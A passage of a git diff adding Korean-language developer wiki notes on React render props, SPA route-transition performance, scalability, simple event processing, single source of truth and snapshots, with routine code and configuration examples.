return { pos, onMouseMove };
|
||||
}
|
||||
|
||||
function MyView() {
|
||||
const { pos, onMouseMove } = useMouse();
|
||||
return <div onMouseMove={onMouseMove}>{pos.x},{pos.y}</div>;
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Logic 만 공유 | **Custom hook** (default since 2019) |
|
||||
| DOM/JSX slot 주입 필요 | Render props |
|
||||
| Generic library (virtualizer, animator) | Render props |
|
||||
| Headless UI primitive | Render props + compound |
|
||||
| Class component legacy | Render props (hook 불가) |
|
||||
|
||||
**기본값**: 매 hook 우선, 매 render slot 이 진짜 필요할 때만 render props.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[React Patterns]] · [[Component Composition]]
|
||||
- 변형: [[Custom Hooks]] · [[Component-Composition|Compound Components]]
|
||||
- 응용: [[Headless UI]] · [[react-hook-form]]
|
||||
- Adjacent: [[Inversion of Control]] · [[Slot Pattern]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 library API 설계, 매 generic data-injection slot, 매 animation choreography.
|
||||
**언제 X**: 매 단순 logic share — hook 으로 충분. 매 callback hell 위험.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Render prop hell**: 매 nesting 5단계 — flatten 또는 hook.
|
||||
- **Inline function in render**: 매 매 render 마다 새 function — child memoization 깨짐, `useCallback` 또는 module-scope.
|
||||
- **Both `children` and `render`**: 매 ambiguous API — 하나만.
|
||||
- **Hook 으로 충분한데 render prop**: 매 over-engineering.
|
||||
- **Type any**: 매 generic slot 의 type erasure — `<T,>` generic 사용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified: React docs (legacy section), TanStack Virtual, react-hook-form, Headless UI 공식 docs (2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — render props vs hooks, real-world 2026 examples |
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
---
|
||||
id: wiki-2026-0508-rule-of-three-3의-법칙
|
||||
title: Rule of Three (3의 법칙)
|
||||
category: 10_Wiki/Topics
|
||||
status: duplicate
|
||||
canonical_id: 3의-법칙-rule-of-three
|
||||
duplicate_of: "[[3의 법칙 (Rule of Three)]]"
|
||||
aliases: []
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: redirected
|
||||
tags: [duplicate, refactoring, heuristic]
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
---
|
||||
|
||||
# Rule of Three (3의 법칙)
|
||||
|
||||
> **이 문서는 [[3의 법칙 (Rule of Three)]] 의 중복본입니다.** Canonical 문서로 redirect.
|
||||
|
||||
## 핵심 요약
|
||||
- "Three strikes and you refactor" — Don Roberts via Fowler.
|
||||
- 첫 duplication 은 그대로, 두 번째 는 wince, 세 번째 는 abstract.
|
||||
- 너무 이른 abstraction (DRY 과잉) 의 antidote — premature generalization 은 wrong abstraction 보다 나쁘다 (Sandi Metz).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[3의 법칙 (Rule of Three)]] (canonical)
|
||||
- 인접: [[Refactoring_Best_Practices]] · [[DRY Principle]] · [[Code Smell]]
|
||||
|
||||
## 🕓 변경 이력
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | 중복 처리 — canonical 문서로 redirect |
|
||||
+179
@@ -0,0 +1,179 @@
|
||||
---
|
||||
id: wiki-2026-0508-spa-라우트-전환-성능-최적화
|
||||
title: SPA 라우트 전환 성능 최적화
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SPA route transition perf, route transition optimization, SPA navigation perf]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [frontend, performance, spa, react, routing]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react
|
||||
---
|
||||
|
||||
# SPA 라우트 전환 성능 최적화
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 route 전환은 매 사용자가 매 가장 자주 만나는 perf moment"**. SPA에서 매 route 전환 latency는 매 INP/Core Web Vitals에 매 직접 영향. 2026년에는 매 React Router 7, TanStack Router, Next 15 App Router가 매 표준이며, 매 streaming + prefetch + view-transitions가 매 키.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 병목 분류
|
||||
- **JS bundle**: 매 새 route chunk download/parse.
|
||||
- **Data fetch**: 매 loader/query waterfall.
|
||||
- **Render**: 매 new tree mount cost.
|
||||
- **Asset**: 매 image/font 신규 load.
|
||||
|
||||
### 매 최적화 lever
|
||||
- **Code-split** (route-level lazy).
|
||||
- **Prefetch** (hover/viewport/intent).
|
||||
- **Parallel data load** (loader pattern, no waterfall).
|
||||
- **View Transitions API** (visual smoothing).
|
||||
- **RSC streaming** (Next 15 App Router).
|
||||
|
||||
### 매 응용
|
||||
1. 매 e-commerce: product list → detail 매 < 100ms 체감.
|
||||
2. 매 dashboard: 매 widget data parallel.
|
||||
3. 매 docs site: 매 instant hover prefetch.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### 매 Route-level code split
|
||||
```tsx
|
||||
import { lazy, Suspense } from "react";
|
||||
const Dashboard = lazy(() => import("./Dashboard"));
|
||||
|
||||
<Route path="/dashboard" element={
|
||||
<Suspense fallback={<Skeleton />}><Dashboard /></Suspense>
|
||||
} />
|
||||
```
|
||||
|
||||
### 매 Hover prefetch (TanStack Router)
|
||||
```tsx
|
||||
import { Link } from "@tanstack/react-router";
|
||||
<Link to="/products/$id" params={{ id }} preload="intent">
|
||||
Product
|
||||
</Link>
|
||||
// 매 hover/focus → 매 chunk + loader data 미리.
|
||||
```
|
||||
|
||||
### 매 Parallel loaders (waterfall 제거)
|
||||
```tsx
|
||||
// X — sequential
|
||||
const route = createRoute({
|
||||
loader: async () => {
|
||||
const user = await fetchUser(); // 매 wait
|
||||
const orders = await fetchOrders(user.id); // 매 then wait
|
||||
return { user, orders };
|
||||
},
|
||||
});
|
||||
|
||||
// O — parallel where possible
|
||||
const route = createRoute({
|
||||
loader: async ({ params }) => {
|
||||
const [user, orders] = await Promise.all([
|
||||
fetchUser(params.id),
|
||||
fetchOrdersForId(params.id), // 매 user 의존 X로 변경
|
||||
]);
|
||||
return { user, orders };
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### 매 View Transitions API
|
||||
```tsx
|
||||
// 매 navigation에 매 native cross-fade
|
||||
import { unstable_ViewTransition as ViewTransition } from "react";
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<ViewTransition>
|
||||
<Outlet />
|
||||
</ViewTransition>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
```css
|
||||
::view-transition-old(root) { animation: fade-out 200ms; }
|
||||
::view-transition-new(root) { animation: fade-in 200ms; }
|
||||
```
|
||||
|
||||
### 매 RSC streaming (Next 15)
|
||||
```tsx
|
||||
// app/products/[id]/page.tsx
|
||||
export default async function Page({ params }: { params: { id: string } }) {
|
||||
return (
|
||||
<>
|
||||
<ProductHeader id={params.id} /> {/* 매 빠른 part */}
|
||||
<Suspense fallback={<Skeleton />}>
|
||||
<ProductReviews id={params.id} /> {/* 매 느린 part stream */}
|
||||
</Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### 매 Optimistic navigation
|
||||
```tsx
|
||||
// React 19 useOptimistic 응용
|
||||
const [optimisticPath, setOptimisticPath] = useOptimistic(currentPath);
|
||||
|
||||
function navigate(to: string) {
|
||||
startTransition(() => {
|
||||
setOptimisticPath(to); // 매 즉시 UI 변경
|
||||
router.navigate(to);
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### 매 Bundle 분석 (rsdoctor / webpack-bundle-analyzer)
|
||||
```bash
|
||||
pnpm dlx @rsdoctor/cli analyze
|
||||
# 매 route chunk 크기 매 visualize → 매 split point 매 결정
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 small SPA | Route-split + hover prefetch. |
|
||||
| 매 dashboard 다중 widget | Parallel loaders + Suspense streaming. |
|
||||
| 매 SEO + perf | Next 15 App Router (RSC). |
|
||||
| 매 highly interactive | TanStack Router + View Transitions. |
|
||||
| 매 mobile-first | Aggressive prefetch는 매 신중 (data cost). |
|
||||
|
||||
**기본값**: Route-split + intent prefetch + parallel loaders. 매 modern routers는 매 default support.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[SPA]] · [[Web Performance]]
|
||||
- 변형: [[Islands Architecture]]
|
||||
- 응용: [[TanStack Router]]
|
||||
- Adjacent: [[Core Web Vitals Optimization (INP, LCP 개선)|Core Web Vitals]] · [[INP]] · [[View Transitions]] · [[Code Splitting]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 route 전환 매 느릴 때, 매 perf budget 책정, 매 prefetch 전략 설계.
|
||||
**언제 X**: 매 MPA, 매 first-load 문제 (매 SSR/SSG 별도).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **매 lazy 모든 component**: 매 too granular → 매 waterfall 악화.
|
||||
- **매 prefetch 모든 link**: 매 모바일 데이터 burn.
|
||||
- **매 loader에 매 sequential await**: 매 waterfall.
|
||||
- **매 Suspense 없이 매 lazy**: 매 blank 화면.
|
||||
- **매 view-transition 만 적용**: 매 underlying perf 안 고치고 cosmetic만.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (web.dev, React Router 7 docs, TanStack Router docs, Next 15 docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — 2026 router stack + View Transitions + RSC streaming |
|
||||
@@ -0,0 +1,177 @@
|
||||
---
|
||||
id: wiki-2026-0508-scalability
|
||||
title: Scalability
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Scalability, 확장성, scale-out, scale-up]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, distributed-systems, performance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: yaml
|
||||
framework: kubernetes
|
||||
---
|
||||
|
||||
# Scalability
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 부하가 늘 때 매 graceful하게 capacity를 키울 수 있는 능력"**. Scalability는 매 단일 dimension(traffic, data, compute)이 아니라 매 multi-axis property. 2026년에는 매 K8s HPA + KEDA, 매 serverless auto-scale, 매 LLM token-throughput scaling이 매 일상.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 두 축
|
||||
- **Vertical (scale-up)**: 매 큰 머신 — 매 limit 빨리.
|
||||
- **Horizontal (scale-out)**: 매 더 많은 머신 — 매 stateless 필요.
|
||||
|
||||
### 매 차원
|
||||
- **Load**: req/sec.
|
||||
- **Data**: GB → PB.
|
||||
- **Geographic**: 매 region.
|
||||
- **User**: 매 동시 user.
|
||||
- **Functional**: 매 feature 추가가 매 system을 깨지 않음.
|
||||
|
||||
### 매 응용
|
||||
1. 매 web tier — auto-scale group.
|
||||
2. 매 DB — sharding / read replica.
|
||||
3. 매 LLM serving — vLLM tensor parallel + KV cache 분산.
|
||||
4. 매 event pipeline — Kafka partition scale.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### 매 K8s HPA (CPU 기반)
|
||||
```yaml
|
||||
apiVersion: autoscaling/v2
|
||||
kind: HorizontalPodAutoscaler
|
||||
metadata: { name: api-hpa }
|
||||
spec:
|
||||
scaleTargetRef: { apiVersion: apps/v1, kind: Deployment, name: api }
|
||||
minReplicas: 3
|
||||
maxReplicas: 50
|
||||
metrics:
|
||||
- type: Resource
|
||||
resource:
|
||||
name: cpu
|
||||
target: { type: Utilization, averageUtilization: 70 }
|
||||
```
|
||||
|
||||
### 매 KEDA (event-driven scale)
|
||||
```yaml
|
||||
apiVersion: keda.sh/v1alpha1
|
||||
kind: ScaledObject
|
||||
metadata: { name: kafka-consumer }
|
||||
spec:
|
||||
scaleTargetRef: { name: consumer }
|
||||
minReplicaCount: 0
|
||||
maxReplicaCount: 100
|
||||
triggers:
|
||||
- type: kafka
|
||||
metadata:
|
||||
bootstrapServers: kafka:9092
|
||||
consumerGroup: orders
|
||||
topic: order-events
|
||||
lagThreshold: "100"
|
||||
```
|
||||
|
||||
### 매 Stateless service (scale-out 가능)
|
||||
```typescript
|
||||
// 매 session 매 외부화 (Redis)
|
||||
import express from "express";
|
||||
import session from "express-session";
|
||||
import RedisStore from "connect-redis";
|
||||
import { createClient } from "redis";
|
||||
|
||||
const redis = createClient({ url: "redis://redis:6379" });
|
||||
await redis.connect();
|
||||
|
||||
const app = express();
|
||||
app.use(session({
|
||||
store: new RedisStore({ client: redis }),
|
||||
secret: process.env.SESSION_SECRET!,
|
||||
resave: false, saveUninitialized: false,
|
||||
}));
|
||||
// 매 어느 instance든 매 동일 session.
|
||||
```
|
||||
|
||||
### 매 DB sharding (hash-based)
|
||||
```typescript
|
||||
function shardFor(userId: string): string {
|
||||
const hash = crc32(userId);
|
||||
return `db-shard-${hash % 8}`;
|
||||
}
|
||||
async function getUser(id: string) {
|
||||
const shard = shardFor(id);
|
||||
return pool[shard].query("SELECT * FROM users WHERE id=$1", [id]);
|
||||
}
|
||||
```
|
||||
|
||||
### 매 Read replica
|
||||
```typescript
|
||||
const writeDb = postgres({ host: "primary" });
|
||||
const readDb = postgres({ host: "replica.read" });
|
||||
|
||||
async function placeOrder(o: Order) { return writeDb`INSERT INTO orders ...`; }
|
||||
async function listOrders(uid: string) { return readDb`SELECT * FROM orders WHERE uid=${uid}`; }
|
||||
```
|
||||
|
||||
### 매 LLM tensor-parallel (vLLM 0.7+)
|
||||
```bash
|
||||
vllm serve meta-llama/Llama-3.3-70B-Instruct \
|
||||
--tensor-parallel-size 4 \
|
||||
--gpu-memory-utilization 0.92 \
|
||||
--max-num-seqs 256
|
||||
```
|
||||
|
||||
### 매 Cache layer (scale read)
|
||||
```typescript
|
||||
async function getProduct(id: string) {
|
||||
const cached = await redis.get(`p:${id}`);
|
||||
if (cached) return JSON.parse(cached);
|
||||
const p = await db.query("SELECT * FROM products WHERE id=$1", [id]);
|
||||
await redis.setex(`p:${id}`, 60, JSON.stringify(p));
|
||||
return p;
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 traffic spike (예측 가능) | HPA + capacity planning. |
|
||||
| 매 burst (predicate X) | Serverless / KEDA scale-to-zero. |
|
||||
| 매 data > single node | Sharding. |
|
||||
| 매 read >> write | Replica. |
|
||||
| 매 global users | Multi-region + edge cache. |
|
||||
| 매 LLM serving | vLLM TP + KV-cache routing. |
|
||||
|
||||
**기본값**: 매 stateless service + HPA + Redis cache + read replica.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Distributed Systems]]
|
||||
- 응용: [[Microservices]] · [[Serverless_Architecture]] · [[Service Mesh]]
|
||||
- Adjacent: [[CAP Theorem]] · [[Sharding]] · [[Load Balancer]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 capacity 설계, 매 bottleneck 진단, 매 cost-perf trade-off.
|
||||
**언제 X**: 매 단일 user 매 internal tool (매 over-engineering).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **매 premature sharding**: 매 single PG로 매 충분한데 매 split.
|
||||
- **매 stateful pod scale-out**: 매 session 매 일부 instance 만.
|
||||
- **매 cache stampede 무시**: 매 expiry 동시에.
|
||||
- **매 N+1 query에서 scale-out 으로 도망**: 매 query 먼저 고칠 것.
|
||||
- **매 monolith 만 scale-up**: 매 vertical 한계.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Designing Data-Intensive Applications, K8s docs, vLLM docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — HPA/KEDA/sharding/vLLM patterns |
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
---
|
||||
id: wiki-2026-0508-simple-event-processing
|
||||
title: Simple Event Processing
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SEP, Direct Event Handling, 1:1 Event Processing]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [event-driven, architecture, eda, messaging]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: kafka
|
||||
---
|
||||
|
||||
# Simple Event Processing
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 1 event → 1 reaction. No correlation, no aggregation, no temporal pattern."**. 매 EDA 의 simplest tier — notable event 의 detect 후 매 single downstream action 의 trigger. 매 CEP (Complex Event Processing) / ESP (Event Stream Processing) 와 대비되는 매 baseline pattern.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 SEP vs ESP vs CEP
|
||||
- **SEP**: 1 event → 1 action. No state, no correlation.
|
||||
- **ESP**: stream 의 windowing, aggregation (Flink, Kafka Streams).
|
||||
- **CEP**: pattern matching across events (Drools Fusion, Esper).
|
||||
|
||||
### 매 properties
|
||||
- Stateless (매 event 의 self-contained).
|
||||
- Low latency (no buffering / windowing).
|
||||
- High throughput (parallelize trivially).
|
||||
- Idempotent handlers preferred (at-least-once delivery).
|
||||
|
||||
### 매 응용
|
||||
1. Order placed → email confirmation.
|
||||
2. User signup → welcome workflow.
|
||||
3. Sensor reading → threshold alert.
|
||||
4. Payment captured → inventory reserve.
|
||||
5. Log line → metric increment.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Kafka consumer (TypeScript)
|
||||
```typescript
|
||||
import { Kafka } from 'kafkajs';
|
||||
|
||||
const kafka = new Kafka({ brokers: ['localhost:9092'] });
|
||||
const consumer = kafka.consumer({ groupId: 'order-emails' });
|
||||
|
||||
await consumer.subscribe({ topic: 'orders.placed' });
|
||||
await consumer.run({
|
||||
eachMessage: async ({ message }) => {
|
||||
const order = JSON.parse(message.value!.toString());
|
||||
await sendOrderEmail(order.userId, order.id);
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### AWS EventBridge rule
|
||||
```typescript
|
||||
import { EventBridgeClient, PutRuleCommand } from '@aws-sdk/client-eventbridge';
|
||||
|
||||
await client.send(new PutRuleCommand({
|
||||
Name: 'order-placed-email',
|
||||
EventPattern: JSON.stringify({
|
||||
source: ['app.orders'],
|
||||
'detail-type': ['OrderPlaced'],
|
||||
}),
|
||||
Targets: [{ Arn: lambdaArn, Id: 'send-email' }],
|
||||
}));
|
||||
```
|
||||
|
||||
### NATS subject handler
|
||||
```typescript
|
||||
import { connect, StringCodec } from 'nats';
|
||||
|
||||
const nc = await connect({ servers: 'nats://localhost:4222' });
|
||||
const sc = StringCodec();
|
||||
const sub = nc.subscribe('orders.placed');
|
||||
|
||||
for await (const msg of sub) {
|
||||
const order = JSON.parse(sc.decode(msg.data));
|
||||
await reserveInventory(order);
|
||||
}
|
||||
```
|
||||
|
||||
### Idempotent handler
|
||||
```typescript
|
||||
async function handleOrderPlaced(event: OrderEvent) {
|
||||
const seen = await redis.set(`processed:${event.id}`, '1', 'NX', 'EX', 86400);
|
||||
if (!seen) return; // already handled
|
||||
await sendEmail(event);
|
||||
}
|
||||
```
|
||||
|
||||
### Dead-letter handling
|
||||
```typescript
|
||||
await consumer.run({
|
||||
eachMessage: async ({ message }) => {
|
||||
try {
|
||||
await handle(message);
|
||||
} catch (err) {
|
||||
await producer.send({
|
||||
topic: 'orders.placed.dlq',
|
||||
messages: [{ value: message.value, headers: { error: err.message } }],
|
||||
});
|
||||
}
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
### CloudEvents envelope
|
||||
```typescript
|
||||
const cloudEvent = {
|
||||
specversion: '1.0',
|
||||
type: 'com.example.order.placed',
|
||||
source: '/orders',
|
||||
id: crypto.randomUUID(),
|
||||
time: new Date().toISOString(),
|
||||
data: { orderId, userId, amount },
|
||||
};
|
||||
await producer.send({ topic: 'orders.placed', messages: [{ value: JSON.stringify(cloudEvent) }] });
|
||||
```
|
||||
|
||||
### Webhook fan-out
|
||||
```typescript
|
||||
app.post('/webhooks/payment', async (req, res) => {
|
||||
await eventBus.publish('payment.captured', req.body);
|
||||
res.status(202).end();
|
||||
});
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 1:1 event → action, stateless | SEP |
|
||||
| Stream aggregation (window sums) | ESP (Flink) |
|
||||
| Pattern detect (A then B within 5s) | CEP (Esper) |
|
||||
| Cross-system fan-out | SEP via EventBridge/Kafka |
|
||||
|
||||
**기본값**: Kafka or EventBridge + idempotent stateless handlers.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Event-Driven-Architecture]]
|
||||
- 변형: [[Event-Stream-Processing]]
|
||||
- 응용: [[Webhooks]] · [[Pub-Sub]] · [[Event-Sourcing]]
|
||||
- Adjacent: [[CQRS]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: stateless 1:1 event handling — webhook, notification, simple workflow trigger.
|
||||
**언제 X**: pattern correlation 필요 — CEP / ESP 사용.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Stateful SEP**: 매 cross-event state 가지면 ESP 로 reframe.
|
||||
- **No idempotency**: at-least-once delivery 에서 매 duplicate side-effect.
|
||||
- **Synchronous webhook chain**: 매 cascading failure — async queue 사이로.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Hohpe Enterprise Integration Patterns, Confluent docs, AWS EventBridge guide).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — SEP vs ESP vs CEP, Kafka/EventBridge/NATS patterns |
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
---
|
||||
id: wiki-2026-0508-single-source-of-truth
|
||||
title: Single Source of Truth (SSoT)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [SSoT, Single Source of Truth, Authoritative Source]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, data, principle, consistency]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: redux
|
||||
---
|
||||
|
||||
# Single Source of Truth (SSoT)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 fact 의 1 authoritative location. Everywhere else 의 derive."**. 매 information architecture 의 fundamental principle — duplication 의 minimize 후 매 derived view 의 cache/projection 으로 처리. 매 frontend (Redux), backend (master DB), DevOps (Git as IaC source) 의 cross-cutting pattern.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 layers
|
||||
- **DB layer**: master DB + read replicas (no parallel sources).
|
||||
- **App state**: Redux store / TanStack Query cache.
|
||||
- **Config**: Git repo (Infrastructure as Code).
|
||||
- **Identity**: SCIM-synced IdP (Okta/Entra).
|
||||
- **Schema**: protobuf / OpenAPI as type-source.
|
||||
|
||||
### 매 derived view
|
||||
- Materialized views (DB).
|
||||
- Selectors / memoized derive (frontend).
|
||||
- Search indexes (Elastic) reflecting master.
|
||||
- Reporting cubes built from master.
|
||||
|
||||
### 매 응용
|
||||
1. Redux Toolkit `createSlice` — 1 store, derived UI.
|
||||
2. Git → Terraform → Cloud (no console drift).
|
||||
3. SCIM provisioning — IdP authoritative.
|
||||
4. CDC (Debezium) — master DB → downstream consumers.
|
||||
5. Event sourcing — log as SSoT.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Redux normalize + selector
|
||||
```typescript
|
||||
import { createSlice, createSelector } from '@reduxjs/toolkit';
|
||||
|
||||
const usersSlice = createSlice({
|
||||
name: 'users',
|
||||
initialState: { byId: {} as Record<string, User> },
|
||||
reducers: { upsert: (state, { payload }) => { state.byId[payload.id] = payload; } },
|
||||
});
|
||||
|
||||
export const selectUser = (id: string) => (state: RootState) => state.users.byId[id];
|
||||
export const selectActiveUsers = createSelector(
|
||||
(s: RootState) => Object.values(s.users.byId),
|
||||
(users) => users.filter(u => u.active),
|
||||
);
|
||||
```
|
||||
|
||||
### Terraform as IaC SSoT
|
||||
```hcl
|
||||
resource "aws_s3_bucket" "logs" {
|
||||
bucket = "company-logs-prod"
|
||||
tags = { managed_by = "terraform", repo = "infra" }
|
||||
}
|
||||
# Console changes drift-detected via `terraform plan`
|
||||
```
|
||||
|
||||
### Debezium CDC
|
||||
```yaml
|
||||
connector.class: io.debezium.connector.postgresql.PostgresConnector
|
||||
database.hostname: master.db
|
||||
table.include.list: public.orders
|
||||
plugin.name: pgoutput
|
||||
# Master postgres → Kafka → search/analytics consumers
|
||||
```
|
||||
|
||||
### Schema-first (protobuf)
|
||||
```proto
|
||||
syntax = "proto3";
|
||||
message User {
|
||||
string id = 1;
|
||||
string email = 2;
|
||||
bool active = 3;
|
||||
}
|
||||
// codegen → TS, Go, Python types — single schema source
|
||||
```
|
||||
|
||||
### Materialized view (Postgres)
|
||||
```sql
|
||||
CREATE MATERIALIZED VIEW user_stats AS
|
||||
SELECT user_id, COUNT(*) AS orders, SUM(total) AS revenue
|
||||
FROM orders GROUP BY user_id;
|
||||
|
||||
REFRESH MATERIALIZED VIEW CONCURRENTLY user_stats;
|
||||
```
|
||||
|
||||
### SCIM provisioning
|
||||
```typescript
|
||||
// IdP (Okta) → /scim/v2/Users — app receives, never originates user identity
|
||||
app.put('/scim/v2/Users/:id', (req, res) => {
|
||||
await db.upsertUser(req.params.id, req.body);
|
||||
res.status(200).json(req.body);
|
||||
});
|
||||
```
|
||||
|
||||
### TanStack Query cache as derived
|
||||
```typescript
|
||||
const { data: user } = useQuery({
|
||||
queryKey: ['user', id],
|
||||
queryFn: () => api.getUser(id),
|
||||
staleTime: 60_000,
|
||||
});
|
||||
// Server is SSoT — cache is derived view with TTL
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Cross-system data sync | CDC from master DB |
|
||||
| Cloud config | Git + Terraform |
|
||||
| User identity | IdP + SCIM |
|
||||
| Frontend state | Normalized Redux + selectors |
|
||||
| Analytics | Reflect master via warehouse |
|
||||
|
||||
**기본값**: master + derived projections — never multi-master unless conflict-resolution strategy defined.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Data-Modeling]]
|
||||
- 변형: [[Event-Sourcing]] · [[CQRS]]
|
||||
- 응용: [[Redux-Toolkit]] · [[Terraform]] · [[CDC]] · [[GitOps]]
|
||||
- Adjacent: [[Eventual-Consistency]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: design-time data flow review, drift audit, cache invalidation strategy.
|
||||
**언제 X**: distributed systems with offline-first requirement — CRDT 가 적합.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Dual-write**: 매 app writes both DB and search — drift inevitable. CDC 사용.
|
||||
- **Console drift**: cloud console change without IaC update.
|
||||
- **Cached as authoritative**: TTL stale → cache mistakenly trusted.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Fowler, Kleppmann DDIA, Redux docs, Terraform best practices).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — SSoT principle, master + derived patterns, CDC/IaC/SCIM |
|
||||
@@ -0,0 +1,157 @@
|
||||
---
|
||||
id: wiki-2026-0508-snapshots
|
||||
title: Snapshots
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [State Snapshot, V8 Snapshot, GC Snapshot, Heap Snapshot]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [runtime, performance, debugging, memory, state]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: javascript
|
||||
framework: v8
|
||||
---
|
||||
|
||||
# Snapshots
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 point-in-time 의 state freeze — 매 startup 의 accelerate, 매 leak 의 hunt, 매 recovery 의 enable."**. 매 V8 startup snapshot, heap snapshot, filesystem snapshot (ZFS/Btrfs), DB snapshot, state snapshot (Redux time-travel) — 매 same primitive 의 different domain. 매 modern runtime 의 cold-start optimization 의 default tool.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 종류
|
||||
- **V8 startup snapshot**: serialize heap → fast Node.js cold start.
|
||||
- **Heap snapshot** (`.heapsnapshot`): debug memory leak, retainer graph.
|
||||
- **GC snapshot**: generational scan checkpoint.
|
||||
